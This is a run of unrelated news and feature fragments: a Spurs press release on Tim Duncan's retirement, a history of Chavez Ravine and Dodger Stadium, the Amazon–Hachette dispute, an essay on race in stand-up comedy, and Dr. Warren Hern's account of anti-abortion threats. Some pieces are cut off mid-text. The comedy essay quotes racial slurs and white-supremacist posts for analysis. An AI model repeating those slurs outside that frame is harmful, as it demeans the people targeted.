emergency services, and is increasingly important in remote (and) rural areas.” Editor’s Note: This article has been edited from a previously published version to correct the date of an email.
-SAN ANTONIO (July 11, 2016) – San Antonio Spurs forward Tim Duncan today announced that he will retire after 19 seasons with the organization. Since drafting Duncan, the Spurs won five championships and posted a 1,072-438 regular season record, giving the team a .710 winning percentage, which is the best 19-year stretch in NBA history and was the best in all of the NBA, NFL, NHL and MLB over the last 19 years.  Originally selected by the Spurs as the first overall pick in the 1997 NBA Draft, Duncan helped San Antonio reach the playoffs in each of his 19 seasons and became the only player in league history to start and win a title in three different decades. The Silver and Black won at least 50 games the last 17 seasons, the longest streak in league history, and posted at least a .600 winning percentage in each of Duncan’s 19 seasons, an all-time record for most consecutive seasons with a .600 win percentage in the four major U.S. sports.  The 40-year-old Duncan comes off of a season in which he led the NBA in Defensive RPM (5.41) and became just the third player in league history to reach 1,000 career wins, as well as the only player to reach 1,000 wins with one team. He helped the Spurs to a franchise-best 67-15 record and also became one of two players in NBA history to record at least 26,000 points, 15,000 rebounds and 3,000 blocks in his career (Kareem Abdul-Jabbar).  Duncan totaled 15 All-NBA Team selections (tied for most all-time) and 15 NBA All-Defensive Team honors (most all-time), garnering both honors in the same season 15 times, the most in league history. The 1998 Rookie of the Year was named NBA MVP twice (2002, 2003) and NBA Finals MVP three times (1999, 2003 and 2005).  In his NBA career, the 15-time All-Star appeared in a total of 1,392 games and averaged 19.0 points, 10.8 rebounds, 3.0 assists and 2.17 blocks in 34.0 minutes. He shot .506 (10,285-20,334) from the floor and .696 (5,896-8,468) from the free throw line.  The Wake Forest graduate is the Spurs all-time NBA leader in total points (26,496), rebounds (15,091), blocked shots (3,020), minutes (47,368) and games played (1,392), as well as third in assists (4,225). In NBA history, Duncan is fifth all-time in double-doubles (841) and blocks, sixth in rebounding and 14th in scoring.  As the only player in NBA history to play over 9,000 career minutes in the playoffs, Duncan ranks first all-time in postseason double-doubles (164) and blocks (568), third in rebounds (2,859) and sixth in points (5,172). For his career, Duncan appeared in 251 postseason contests (second all-time) and averaged 20.6 points, 11.4 rebounds and 3.0 assists in 37.3 minutes while shooting .501 (1,975-3,939) from the field.  Along with teammates Tony Parker and Manu Ginobili, Duncan is part of the NBA record for most wins by a trio in both the regular season (575) and postseason (126). Duncan and Gregg Popovich have the most wins by a player-coach duo in NBA history (1,001) and the Spurs forward finishes his career in San Antonio as one of just three players in NBA history, along with John Stockton and Kobe Bryant, to spend 19 seasons with one franchise.
-Panoramic view of the community of Chavez Ravine, circa 1952. Photo by Leonard Nadel , courtesy of the Photo Collection, Los Angeles Public Library.  Now fifty years old, Dodger Stadium has become a Los Angeles landmark, steeped in baseball nostalgia and traffic angst. But the Dodgers' recent change of ownership has brought new attention to the real estate possibilities associated with the team's hilltop perch, reminding us that before the land served as home to athletes in white-and-blue jerseys, it was the site of a thriving Mexican American community named Chavez Ravine.  Chavez Ravine takes its name from Julian Chavez, a native of New Mexico who arrived in Los Angeles in the early 1830s and promptly became a leading political figure. In 1844, Chavez acquired 83 acres encompassing a narrow valley northwest of the city center. We know little about what Chavez did with the land, but during Los Angeles' 1850 and 1880 smallpox epidemics, Chavez Canyon, as it was then known, was home to a hospital for Chinese-Americans and Mexican-Americans suffering from the disease.  Despite the land's proximity to downtown Los Angeles, its rough terrain prevented intensive development even as the city grew around it. Much of the land became Elysian Park in 1886, the same year that the Los Angeles Brick Company -- later joined by a rival operation -- moved into Chavez Ravine and began blasting into the hillsides.  By the early twentieth century, a rural Mexican-American community had taken root on the hilly land surrounding the ravine. Plenty of open space surrounded three distinct neighborhoods -- Bishop, La Loma, and Palo Verde. Goats grazed on hillsides, and residents raised a variety of domesticated animals, from pigs to peacocks.  Drawing of Chavez Ravine as it appeared circa 1870. Courtesy of the Title Insurance and Trust / C.C. Pierce Photography Collection, USC Libraries.  The Barlow Sanatorium in Chavez Ravine, 1915. Courtesy of the Title Insurance and Trust / C.C. Pierce Photography Collection, USC Libraries.  Animals graze in fields outside Chavez Ravine homes in this undated photo. Courtesy of the Photo Collection, Los Angeles Public Library.  Bridesmaids and best man at a wedding in a Chavez Ravine neighborhood, 1929. Courtesy of the Shades of L.A. Collection, Los Angeles Public Library.  The community's population boomed in 1913, when a progressive lawyer named Marshall Stimson subsidized the relocation of some 250 Mexican-American families to Chavez Ravine from the dangerous L.A. River floodplain. A local grocery provided for residents' everyday needs, Palo Verde Elementary schooled the local children, and regular religious processions through the village reinforced community ties.  A political fight in 1926 over the local brickworks demonstrated the strength of those bonds. Suffering for years from proximity to the brick companies' blasting, Chavez Ravine homeowners organized to shut down the manufacturers' operations. On August 20, 1926, the Los Angeles City Council unanimously adopted an ordinance prohibiting the blasting and zoned the area around Chavez Ravine for residential use.  The community's victory over the brick makers did not deter others other development. As capital flowed into Los Angeles and engineering methods advanced, the community's rough terrain presented less of an obstacle to new ventures. Even before plans for public housing and then a baseball stadium rang the community's death knell, Chavez Ravine was routinely targeted for a variety of public and private uses.  In 1937, regional boosters began planning the Pacific Mercado, an international exposition that would celebrate the 400th anniversary of Juan Rodríguez Cabrillo's voyage up the California coast. Their preferred site: the Chavez Ravine. The following year, the United States Navy foiled the boosters' hopes for a world's fair by announcing plans for a new $1 million armory in Chavez Ravine. The same year, the city engineering department proposed that a new limited-access highway -- modeled after the Arroyo Seco Parkway, then under construction -- through Chavez Ravine to cut travel time between the San Fernando Valley and downtown Los Angeles.  In the end, only the Navy's plan -- backed by WPA funding -- won out. During World War II the Naval Reserve Armory became an important West Coast military installation. Built in the canyon, below hillside homes, the armory did not displace Chavez Ravine's residents.  But while the Depression-era public works proposals may have spared Chavez Ravine, the city's postwar redevelopment mania eventually claimed the community in the name of the public good.  Two children walk up a dirt road in the Chavez Ravine area in 1950. Photo Leonard Nadel , courtesy of the Southern California Library for Social Studies & Research.  Children play outside the Palo Verde Elementary School. Courtesy of the Photo Collection, Los Angeles Public Library.  1951 view of the community of Chavez Ravine. Courtesy of the Photo Collection, Los Angeles Public Library.  Children play on a hilltop near Chavez Ravine with a smoggy Los Angeles skyline visible in the background. Photo by Don Normark , courtesy of the Photo Collection, Los Angeles Public Library.  The Chavez Ravine Naval Reserve Armory under construction in 1940. Courtesy of the Los Angeles Examiner Collection, USC Libraries.  In 1950, Chavez Ravine became the centerpiece of a plan -- made possible by funding under the American Housing Act of 1949 -- to bring 10,000 new public housing units to Los Angeles. Located just a mile from downtown Los Angeles, and with only 40 percent of its roughly 300 acres occupied, Chavez Ravine appeared to the city's well-intentioned public housing advocates to be an ideal site.  As initially envisioned by architects Robert E. Alexander and Richard Neutra, Elysian Park Heights would encompass 254 acres, 24 thirteen-story towers, and 163 low-rises, providing nearly 3,600 new low-cost apartments. The plan used Chavez Ravine's terrain to its advantage; lines of garden apartments would occupy terraced slopes, separated by lushly landscaped promenades that granted apartment dwellers privacy.  But Elysian Park Heights contained no room for the existing community of Chavez Ravine. Contending that Chavez Ravine was a slum -- an argument advanced by photographs that selectively depicted ramshackle structures and street patterns defying suburban norms -- the city called for the demolition of the entire community. Hills would be regraded, canyons filled, and access roads built through existing neighborhoods.  In July 1950, the city's housing authority sent letters to the current residents of Chavez Ravine, informing them that "a public housing development will be built on this location for families of low-income...the house you are living in is included."  "Later," the letter added, "you will have the first chance to move back into the new Elysian Park Heights development."  As Alexander and Neutra refined their plans, the city housing authority used its power of eminent domain to purchase residents' property, spending roughly $3 million in the process. Some resisted, fighting the city's actions in court, but by the summer of 1952 most of Chavez Ravine was abandoned.  Then, the political winds shifted. As Dana Cuff explains in her book, "The Provisional City: Los Angeles Stories of Architecture and Urbanism," a coalition led by the Los Angeles Times, private home builders, and a public interest group named Citizens Against Socialist Housing (CASH) played up early-Cold War fears of creeping socialism. Support for the government-run housing project collapsed.  Artist's rendering of Elysian Park Heights, the low-income housing development slated to replace the community Chavez Ravine. Courtesy of the Herald-Examiner Collection, Los Angeles Public Library.  Artist's rendering of an Elysian Park Heights garden apartment building. Courtesy of the Herald-Examiner Collection, Los Angeles Public Library.  The city housing authority sent this letters to residents of Chavez Ravine, informing them that they would soon be displaced. Courtesy of the Herald-Examiner Collection, Los Angeles Public Library.  Map of Elysian Park Heights. Courtesy of the Herald-Examiner Collection, Los Angeles Public Library.  Chavez Ravine homeowners stage a sit-in outside Mayor Fletcher Bowron's office in 1951. Courtesy of the Herald-Examiner Collection, Los Angeles Public Library.  Chavez Ravine residents and public housing opponents protest the Elysian Park Heights proposal in City Hall in 1951. Courtesy of the Los Angeles Times Photographic Archive, Young Research Library, UCLA. Used under a Creative Commons license.  Surveyors in a Chavez Ravine neighborhood, 1951. Photo by Leonard Nadel , courtesy of the Southern California Library for Social Studies & Research.  By 1957, only 20 families remained in Chavez Ravine. Courtesy of the Los Angeles Examiner Collection, USC Libraries.  The city promptly cancelled its redevelopment contract with the federal government, negotiating a scaled-down citywide plan that abandoned the two largest projects, including Elysian Park Heights. The housing authority sold its land holdings in Chavez Ravine to the city, on the condition that the land be used for public purposes only.  Chavez Ravine sat in limbo for several years. Bulldozers claimed many of the abandoned houses; others were given over to the fire department for use in training exercises.  As the city searched for a new use for the land, the community's final holdouts resisted eviction orders, challenging their property's seizure in court. By 1957, only twenty families remained.  Then the Brooklyn Dodgers, frustrated in their attempts to build a new stadium in New York, announced their move to Los Angeles. The previous fall, as the Dodgers played the New York Yankees in the 1956 World Series, Los Angeles Mayor Norris Poulson had met privately with Dodgers owner Walter O'Malley and floated the idea of a baseball stadium in Chavez Ravine. Now, enticed by this offer, the Dodgers struck a deal with the city. The team would purchase the minor-league Los Angeles Angels and transfer the 9-acre site of the Angels' ballpark, Wrigley Field, to the city. In exchange, the team would receive 315 acres in Chavez Ravine to build a modern baseball stadium.  O'Malley's team fought an uphill political battle, as the deal seemed to violate the city's earlier agreement to devote Chavez Ravine to public purposes. City voters were given the opportunity to weigh in and in June 1958 approved a referendum on the agreement by less than 25,000 votes. The following January, the California Supreme Court upheld the agreement.  On May 9, 1959 -- a day that came to be known as Black Friday to the community's former residents -- sheriff's deputies and bulldozers arrived to enforce the eviction orders against the few remaining families.  Dodger Stadium opened nearly three years later on April 10, 1962.  Much later, after the community had disappeared, artist Leo Politi described Chavez Ravine (as quoted in Cuff's "The Provisional City"): "It was a happy community where everyone knew and helped one another. At night there were lighted bonfires, and people gathered around and sang songs... In many ways, Chavez Ravine was living a life all its own. Horse drawn plows were still in use, and the hillsides were planted with corn and sugar cane... Though all this reminded one of a village in Mexico, nonetheless this was old Los Angeles with a charm all its own, a Los Angeles we will never see again."  Artist's rendering of Chavez Ravine Lake, an alternative proposal advanced in 1958 for the site in case legal challenges against Dodger Stadium prevailed. Courtesy of the Herald-Examiner Collection, Los Angeles Public Library.  Police carry Aurora Vargas, daughter of Manuel and Abrana Arechiga, from her Chavez Ravine home on May 9, 1959. Courtesy of the Los Angeles Examiner Collection, USC Libraries.  A bulldozer demolishes a Chavez Ravine home on May 9, 1959. Courtesy of the Los Angeles Examiner Collection, USC Libraries.  To build Dodger Stadium, construction crews reshaped the hills around Chavez Ravine, as seen in this photo taken on May 25, 1960. Courtesy of the Los Angeles Examiner Collection, USC Libraries.  Many of the archives who contributed the above images are members of L.A. as Subject, an association of more than 230 libraries, museums, official archives, cultural institutions, and private collectors. Hosted by the USC Libraries, L.A. as Subject is dedicated to preserving and telling the sometimes-hidden stories and histories of the Los Angeles region. Our posts here provide a view into the archives of individuals and institutions whose collections inform the great narrative—in all its complex facets—of Southern California.  Read more L.A. as Subject posts here at KCET.org, and follow us on Facebook and Twitter.
-Growing tensions in the book publishing industry have led Amazon to block pre-orders from Hachette, the publisher home to popular writers such as Malcolm Gladwell and James Patterson.  The move by Amazon is the culmination of an ongoing contract dispute between the two, with Hachette believed to be taking a stand against Amazon demands for better terms. Numerous upcoming books from the publisher are now listed as "currently unavailable" on Amazon, the New York Times found.  Amazon has come under pressure recently to generate greater profits from its massive revenue stream. One way to do this is to push companies that sell products on its platform to offer a greater share of the money generated from e-books. This puts publishers in a difficult position of relying on Amazon for sales while trying to negotiate revenue sharing.  The blocked titles include preorders for J.K. Rowling's upcoming novel The Silkworm, written under the pen name of Robert Galbraith, which is set to be released on June 24 in the United States.  Image: Screenshot  In some cases, prices have risen dramatically, with the audio version of the upcoming book from Anne Rivers Siddons, The Girls of August, now costing $62.99 on preorder. The hardcover and e-book are not available.  Authors took to social media to encourage customers to go through Barnes & Noble or independent booksellers.  I will note that when I pre-order books from any publisher, including Hachette, my local independent bookstore is happy to take my order. — John Scalzi (@scalzi) May 23, 2014  Amazon had been using various tactics to make Hachette offerings less appealing, removing discounts and allowing for shipping delays. The moves have drawn varied criticism as well as concern over the power that the company wields over publishers.  Amazon has a dominant position in the publishing industry, particularly in e-books. Amazon's Kindle e-books account for almost 20% of the U.S. book publishing industry and 65% of the e-book market.  Amazon's strength has been in scale. Being able to sell that many books has allowed Amazon to lower how much it earns on each sale. This means Amazon can sell a book for less than the competition because it only needs to make a tiny bit of money on each book.  Now that Amazon accounts for so much of the book market, it has the power to push harder in negotiations with publishers that rely on it for sales. Brad Stone, author of The Everything Store, a book detailing Amazon's business, found that the ecommerce giant did not hesitate to use its power during negotiations with book publishers.  The publishers, Stone recently noted at a conference, are seen by Amazon as gazelles, while Amazon considers itself a Cheetah.  Hachette issued a statement that acknowledged its preorder books had been labeled unavailable. "We are doing everything in our power to find a solution to this difficult situation, one that best serves our authors and their work, and that preserves our ability to survive and thrive as a strong and author-centric publishing company," the company wrote in a statement to Mashable.  Amazon did not respond to request for comment.  Editor's note: the original version of this story was published with the headline "Amazon Blocks Book Publisher as Industry Tensions Boil Over." This was changed because Amazon is not blocking all Hachette offerings.
-Her mother was not happy. “She said, ‘That’s ridiculous – don’t think about the money, think about your health!’ ” Mrs. Francis said. “And people were telling me horror stories about things they’d seen on TV. So I didn’t go on about it to my parents after that.”  She got sick and “felt rotten for about a week” with a 101-degree fever, headache and nausea.  “But I still went to work,” she said. “I felt a bit guilty about not going when I had an illness I’d given myself.”  Because her job is to distribute medicine on home visits, no patients were endangered, she said. (Mr. Duggan, the medical student, was also quick to say that he took part during a period when he was not assigned to hospital rounds.)  “They don’t let you do it if you’ve got preschoolers or children in nappies,” Mrs. Francis said. “And you’re not allowed to handle food, so my husband did all the cooking.”  During the worst week, “you feel sorry for yourself and you say ‘I’m never doing that again,’ ” she said. “And then it’s like childbirth – you get amnesia, and you do it again. I’ve just signed up for a second trial.”
-Tony Brown being injured led to an opportunity for one of Alabama's young defensive backs.  Brown missed some practice last week due to a pulled muscle, so freshman Shyheim Carter stepped in for Brown at nickel back.  He did well, according to Tide star defensive back Minkah Fitzpatrick.  Fitzpatrick was asked this Wednesday: Which young defensive player has been impressing behind the scenes? His answer: Carter, a four-star recruit who is Brown's backup at nickel back.  "He was supposed to have a bigger role this season, and then it didn't kind of work out for him, but he didn't let it get to him," Fitzpatrick said. "He's been working real hard this season and learning the playbook."  The 6-foot, 190-pound Carter was one of the four cornerbacks in Alabama's past recruiting class.  The Louisiana native was the No. 9 cornerback and No. 71 overall prospect in this year's class, according to the 247Sports Composite Rankings.  He has made seven tackles while appearing in seven games.  "He's getting better out there," Fitzpatrick said, "and he's been out there competing every day."
-Cubbington’s ancient pear tree - which is set to be destroyed by the proposed HS2 rail line - has been named as the winner of the 2015 England’s Tree of the Year.  The result of a public on-line ballot organised by the Woodland Trust was announced on the BBC 1 TV Countryfile programme on Sunday November 8.  The wild pear tree, believed to be more than 250 years old, growing in an old hedgerow near South Cubbington Wood beat nine other noteworthy trees to claim the title.  Peter Delow, chairman of the Cubbington Action Group against HS2, which nominated the pear tree, said: “It is most heartening that so many people care about the protection of our natural environment and agree with me that the loss of this tree is just not acceptable, particularly as it could be avoided by changing the design of HS2.  A feasible proposal has been made to tunnel under the tree, which would also protect the ancient woodland of South Cubbington Wood – an irreplaceable habitat that will also be destroyed, in part, by HS2.  “I hope that the crowning of the Cubbington tree will allow us to remind the Government of the obligation that it owes to our natural environment, and am very grateful to those who have given us this opportunity by voting for the Cubbington tree.”
-“Humor is a rubber sword – it allows you to make a point without drawing blood.”  -Mary Hirsch, Humorist  In perhaps his most famous sketch, African-American comic Dave Chappelle plays Clayton Bigsby, a blind white supremacist who has never learned that he’s black. In one scene, Bigsby rants about hating African Americans: “First of all they’re lazy, good for nothin’ tricksters, crack smokin’ swindlers, big butt havin,’ with their wide noses breathin’ all the white man’s air. They eat up all the chicken, they think they’re the best dancers, and they stink. Matter of fact, my friend Jasper told me one of them coons came by his house to pick his sister up for a date. He said ‘look here nigger, that there is my girl. If anyone is going to have sex with my sister it’s gonna be me!’”  Many people see comedy like this as merely funny, but there’s more there than just a laugh. Beneath the humor lies a rich layer of social commentary about race relations in the United States. While comedians will make everyone uncomfortable at some point, good comics are playing an important function in society by holding up a mirror and forcing us to confront realities that we would often prefer to ignore. For minority groups, humor also serves as a tool to neutralize the power of stereotypes that obstruct their path to equal participation in society. Stand-up comedy can give social critique and instigate transformation in a way that leaves many audience members wanting more.  Comedy, especially stand-up comedy, regularly draws criticism for being offensive and for perpetuating negative stereotypes. This, however, is a sign of a healthy comedy culture because it means that comedians are pushing social boundaries. Stories and expressions that are normally unacceptable are met with laughter and agreement when they are told on stage. The fact that the content is encrusted in humor is like a sugar coating to bitter medicine. The laugh takes away the sting.  “Comedy is a tradition with deep historical roots,” explains Dr. Cynthia Merriwether-de Vries, a sociology professor at Juniata College who specializes in humor, music and popular culture. “Evidence of jokes based on race and other groupings can be traced back at least as far as ancient Europe, with court minstrels mocking the stench of the Visigoths. We have memos from Medieval Europe warning that a certain jester’s jokes about the Habsburgs were going too far and beginning to affect political relations.”  In today’s America, the minstrel still performs his duty, only now his audience has expanded from kings and courtiers to the general public. Venues such as Comedy Central, a cable television station dedicated exclusively to humor, have gained an enormous viewership in recent years. Proof of the prominence of comedy in popular culture has been the enormous success of Dave Chappelle’s Show on Comedy Central, which has sold more DVDs than any television show in history.  Most of American comedy has its roots in the stand-up routine. Nearly all of the great comics of television, Jerry Seinfeld, Jim Carrey, David Letterman, and Jamie Foxx, to name a few, started their careers as stand-up comics. Characteristic of a stand-up act is its fast string of amusing stories, short jokes, one-liners, and the occasion of spontaneous interaction with the audience. Normally, the stage contains nothing more than the microphone, a stool, and perhaps a glass of water.  Pedophilia and Other Taboo Subjects  What makes stand-up comedians worthy of research is that their search for laughter leads them to seek out, explore, and articulate the unspoken taboos of society. Much like Adam Smith’s observation in the eighteenth century that “It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest,” it is through the comedian’s selfish pursuit of the laugh that society receives its social critique.  “Comedians don’t start out to change the world, but in the end, that’s what they do,” says Stephen Rosenfield, founder and director of the American Comedy Institute in New York City, where he teaches aspiring comedians the art of writing and performing comedy. “Comedians are aware of the power of jokes to change societies, but they’re not necessarily idealistic about it. A comedian’s first concern is to find funny material. That is his job.”  “A good joke provides tension, and then, release of that tension,” says Greg Giraldo, a Harvard Law School graduate turned comic who hosts Comedy Central’s Friday Night with Greg Giraldo show. “You build the tension by saying things that are controversial. The release is the laugh. The bigger the surprise or insight in your joke, the bigger the laugh.”  This anatomy of tension and release ensures that the comic is going to discuss material that is at the fringe of what polite society will talk about. There’s plenty of controversy to confront, says Giraldo, enjoying a meal of sushi after a Tuesday night appearance at the Comedy Cellar in New York’s Greenwich Village. “A lot of racially charged shit happens here in New York City. Yet mainstream culture likes to pretend that race issues don’t exist. Ninety-five percent of white people and ninety-five percent of black peole live on different planets. They don’t speak the same language. They don’t interact. They’re not comfortable around one another. That’s fucked up. It’s the sad reality of our culture. Unfiltered honest talking on race is rare, but comics are comfortable with race. Comics are honest.”  No taboo is too sensitive to talk about, no matter how controversial, as long as the comedian is funny, says Giraldo. “When I started doing comedy, people said: never do jokes on cancer or suicide. Well, as far as cancer goes, it’s not true. My dad died of cancer and I’ve made jokes about that. And pedophile jokes, I do lots of them. It’s like with pornography, you know a good joke when you see it. Nothing is off-limits if handled properly.”  Removing the Sting from Stereotypes  Minority groups have long used comedy to get the American mainstream to accept them for who they are. “There’s a pattern in stand-up comedy,” says Rosenfield from the American Comedy Institute. It starts with certain groups or minorities – immigrants, blacks, women, old people, Jews, Muslims, gays, Arabs, Asians – being the target of stereotypical jokes. In response, people from the target group will start doing stand-up comedy themselves. When the audience sees one of these new comedians on stage, talking about themselves with a sense of humor, they begin to recognize how dimensional the stereotyped group is. “If they know how to make us laugh, there’s a connection, a cultural cross-over. The original stereotype will start breaking down, making it harder to perpetuate.”  By playing on stereotypes, minority comics undermine the potency of the prejudices. “I know what the people in power sayabout my community and I’ll say it myself,” states Merriwether-de Vries. “This doesn’t give me power necessarily, but it destabilizes their power. It takes away their ability to use that stereotype against me.” Merriwether-de Vries points to Jackie ‘Moms’ Mabley, an African American comic popular in the nineteen-fifties and sixties. “She made fun of old black women and domestics, never wore a bra, accentuated her droopiness, and made fun of the fact that she had no teeth. In short, she played upon the stereotypes of what was wrong with black women.” Merriwether-de Vries goes on to argue that by making those jokes, Mabley was taking ownerships over the stereotypes. They had become a source of fun, instead of being a source of power over the African American community.  It’s a classic tactic, of course. Trip over a rug, and you better be the first to make fun of yourself. If you’re not, someone else will. Richard Pryor, the godfather of contemporary stand-up, used this brilliantly in his performance Richard Pryor Live on Sunset Strip (1982). Pryor jokes about the highly publicized incident in which he set himself on fire while freebasing cocaine, an event in later years he admitted was a suicide attempt. “Y’all gave me a lot of love when I was not feeling well,” Pryor says. “Also, y’all did some nasty-ass jokes on my ass too.” He then lights a match and waves it around. “What’s this?” he asks. “It’s Richard Pryor running down the street.”  No Laughing Matter?  Although comics might think any subject is fair game for comedy, there are critics who argue that jokes can seriously backfire. This critique even comes from within the comedy business itself. Comedian Bill Cosby, famous for his clean and gentle brand of comedy, is known to oppose the use of the word ‘nigger’ in comedy. He considers it ‘cheap linguistic pandering.’ Charles Grodin, an actor and former commentator for 60 Minutes II and host of the CNBC talk show The Charles Grodin Show, has criticized jokes about minorities, gays, and Jews. “They perpetuate stereotypes. If you don’t think so, just look at the anti-Semitism and racism still around. We can’t afford to laugh at certain things. Pedophilia jokes just aren’t funny.”  An often cited example of comedy perpetuating racial stereotypes is a routine from Chris Rock’s Bring the Pain (1996) show, called ‘Niggers vs. Blacks.’ “I hate niggers,” Rock says. “You can’t have anything valuable in your house. Niggers will break in and take it all! Everything white people don’t like about black people, black people really don’t like about black people. It’s like our own personal civil war. On one side, there’s black people. On the other, you’ve got niggers. The niggers have got to go. I love black people, but I hate niggers. I am tired of niggers. Tired, tired, tired.”  Giving weight to the claim that routines like Rock’s are damaging can be seen in the embrace of the jokes by racists. Stormfront.org, the world’s largest white nationalist website, has a thread dedicated to Rock’s comedy sketch. “It is just about good enough to be used by us,” says a user who identifies himself as Firestone. “It’s a lot more pc to be able to quote a racist black man than it is to quote a white man.” White supremacist groups view Rock’s routine as affirmation of their views on African Americans and the one-liners on ‘niggers’ from Rock’s routine are often quoted. “Everything he said about “niggers” was true,” says another post. “And all blacks in the hall were laughing their asses off. What morons.”  On one level, these remarks show that comedy can reinforce stereotypes. Not everyone is a white supremacist, but for those who are, maybe this sketch will strengthen their prejudice. But, on a deeper level, the sketch shows early signs of provoking the ‘cultural cross-over’ mentioned by Rosenfield. As questionable as Rock’s distinction between ‘niggers’ and blacks may be, at least these white supremacists are starting to appreciate the multi-dimensionality of a stereotyped group and experience the cognitive dissonance of quoting and appreciating the opinion of a black comedian.  Both Giraldo and Rosenfield are aware of the pitfalls comics face. “Just doing racial stereotype jokes is bad,” says Giraldo. “It’s making the joke to get the laugh for the wrong reasons.” Rosenfield argues that the material won’t be funny unless it rings true to the audience and consciously teaches his students not to bash. “If you say that men stink, that they really smell bad, that’s just bashing. It’s based on things that the audience knows aren’t true.” Instead, Rosenfield urges his students to be specific. “Don’t paint with a broad brush. Root it in specifics. Be real.”  The Cycle Continues  America needs its comedians to start conversations about taboo subjects it’s afraid to confront. We also need stand-up comedy as a venue for minorities to challenge the assumptions of mainstream society. What makes all of this work is the laugh. If it’s funny, people can treat heavy content lightly.  In the end, the only meaningful criticism a comedian faces is a silent audience. “If people are laughing, night after night, who cares?” says Rosenfield. “It’s a comedian’s job to go too far. Otherwise he’s not fulfilling his functions. Comics are the court jesters. There has to be that outlet for the unspeakable to be spoken in a way that’s acceptable. If you’re not offending someone, you’re not doing your job.”  The need for good stand-up comedy is ever renewing, as demographics and social concerns cause new rifts and stereotypes in American society. In response to the anti-Muslim climate in the United States since the September 11th terrorist attacks, several Muslim stand-up comedians have started touring the country. “They haven’t crossed over to mainstream culture yet,” says Rosenfield, “but they will transform the perception of American Muslims as a group. Think of it, people just don’t perceive Muslims as being funny. Now that will change.”  And they are pretty funny. Take the opening line of comic Azhar Usman, of the “Allah Made Me Funny” tour. “Assalam Aleikum,” he says. “For those who don’t know what that means, I’ll explain it to you. It means: ‘I’m gonna kill you.’”
-Dr. Warren Hern has been performing abortions in Colorado for 42 years and has been the target of many violent threats.  The first death threats came at 3 a.m. It was November 1973 and I had just started performing abortions at a small nonprofit clinic in Colorado. Now the phone was ringing at my home in the dead of night. I had built my small house deep in the mountains, in a place of solitude and beauty, where I could see the stars at night.  How did they find me here? I was terrified. I started sleeping with a rifle by my bed. I expected to be shot as I walked out the door in the morning or as I came home at night.  The terror of those days came back to me last week when a gunman — disconnected from society but bathed in anti-abortion propaganda — attacked the Planned Parenthood clinic in Colorado Springs, killing three and wounding nine others. Early news of this attack reached me as my son and I were about to start skiing down a mountain slope with fresh snow. A beautiful day began with horror in the pit of my stomach, and it was not the first time.  advertisement  That fear has been with me for 42 years and is constantly renewed.  When I started as the founding medical director of that nonprofit clinic in Colorado, shortly after the Supreme Court legalized abortion in Roe v. Wade, I faced hostility even from many members of the medical community. My request for hospital privileges was met with vociferous opposition, until one highly respected physician — an obstetrician who had seen too many women die of illegal abortion — backed me up. I got the right to admit patients to the hospital if needed.  That wasn’t the end of it, though. A group called Fight the Abortion Clinic told the Colorado Board of Health that we were running a butcher shop. I presented statistics from our first month of operation and explained the safety measures I had built into the medical procedures. The board dropped the subject.  The personal attacks continued. The next summer, the Denver chapter of the National Organization for Women decided to honor me for supporting women’s rights. As I was given my award, a group of anti-abortion demonstrators began screaming and calling me vile names, their faces contorted with hate. Their ferocity was terrifying. It made the hair stand up on the back of my neck. How could anybody be so opposed to what we were doing?  The patients were grateful. One woman in her 30s was trembling when I walked into the operating room to examine her. “Why are you shaking?” I asked. “What’s wrong?”  “It’s so different,” she said. “You’re a doctor. The lights are on. The place is clean. The windows are open. I feel safe.” She went on to explain that she had had an illegal abortion once under hideous circumstances and had almost died.  The patients were usually exuberant, healthy young women who wanted to live their lives, get an education, learn a profession, know themselves, and experience independence before they started a family. Many were women who already had families but who could not bear the stress of raising more children. Others had broken or abusive relationships. Some were sick from the effects of pregnancy. Their lives were in danger.  It was soon clear to me that performing abortions was the most important thing I could do in medicine. I started a private practice in Boulder specializing in outpatient abortion services. This had not been my plan. I was trained in public health and wanted to follow an academic career of teaching and research in epidemiology. But the patients and their needs were more important.  I was doing my part to make the Roe v. Wade decision meaningful, but much more than that, I was saving women’s lives. I was making a difference. The days of death from illegal, unsafe abortion were over, at least as far as I could do something about it.  Several times, I was invited to debate the abortion issue. At first, I enjoyed the debates and treated both my opponents and the occasions with respect. But the anti-abortion groups became more and more threatening and aggressive, calling me a “murderer” and “baby killer.” On one occasion, at the University of Colorado Denver, they started to climb over the front table at me and I had to be taken out a back exit under police escort.  I decided that showing up at my office to see patients was a sufficient statement of my side of the abortion “debate.”  I’d had an unlisted home phone number for years, since those first frightening calls at 3 a.m. But now I started getting innumerable death threats at my office. The man who had started the Fight the Abortion Clinic committee tried to run over me with his car in my parking lot.  In 1981, I married a young woman who understood and supported my work. I was in love, I wanted a partner in life, and I wanted to have a family. The threats and the attacks terrified her and caused us both a great deal of stress. Since we didn’t have a house in town and I needed to be near the clinic in case of patient emergencies, we stayed sometimes at a small apartment at the back of my office. The anti-abortion fanatics began showing up by the back door at dawn, praying, singing, calling my name, and screaming slogans. It was hideous and frightening. The constant stress was one of the reasons the marriage ended, and I was devastated.  Things got even worse after that.  In 1988, five shots were fired through the front windows of my office, narrowly missing a staff member. My patients and staff are now protected with bulletproof windows.  In 1991, anti-abortion leader Randall Terry gathered his disciples around him in the street in front of my office and prayed for my execution.  In 1993, Dr. David Gunn was assassinated in Florida. A few months later, my friend Dr. George Tiller was shot in both arms by Shelley Shannon as he drove out of his office in Wichita, Kan. That week, Randall Terry went on national Christian radio and invited his listeners to assassinate me.  In 1994, Dr. John Britton and his bodyguard were assassinated in Florida. Later in the year, Dr. Gary Romalis was shot in his kitchen in Vancouver and nearly bled to death. In December, John Salvi killed two abortion clinic workers in Brookline, Mass.  Shelley Shannon sent me a letter from the Kansas state prison telling me that I would be next. I knew she meant it.  An anti-abortion fanatic wrote me a letter telling me to forget wearing a bulletproof vest: They would go for a head shot.  In early 1995, the American Coalition of Life Activists held a press conference to unveil a hit list of 13 abortion doctors. I was on the list. So was Dr. Tiller. Their poster declared us guilty of “crimes against humanity.”  Within hours, federal marshals were protecting me. I wrote a letter to the New York Times in which I tried to describe what it felt like to be on that hit list, which included not just our names but our addresses. I wrote that it went “a long way toward destroying one’s life.”  In 1998, Dr. Barnett Slepian was assassinated in his New York home. I watched the news of this, horrified, as I was getting dressed to go to a professional meeting in Denver where I could be at risk. I was not sure I should go to the meeting, but I went anyway. I was wary and apprehensive, so after a short while, I left. I was afraid.  On May 31, 2009, Dr. Tiller was assassinated in his church by Scott Roeder. I was put under 24-hour armed guard at my office and at home by US federal marshals. Death threats against me continued. My wife, a physician from Cuba, was terrified. Our young son could not play outside with his friends.  My family could not even ride together to a memorial service in Denver for my friend, George Tiller. The marshals took me 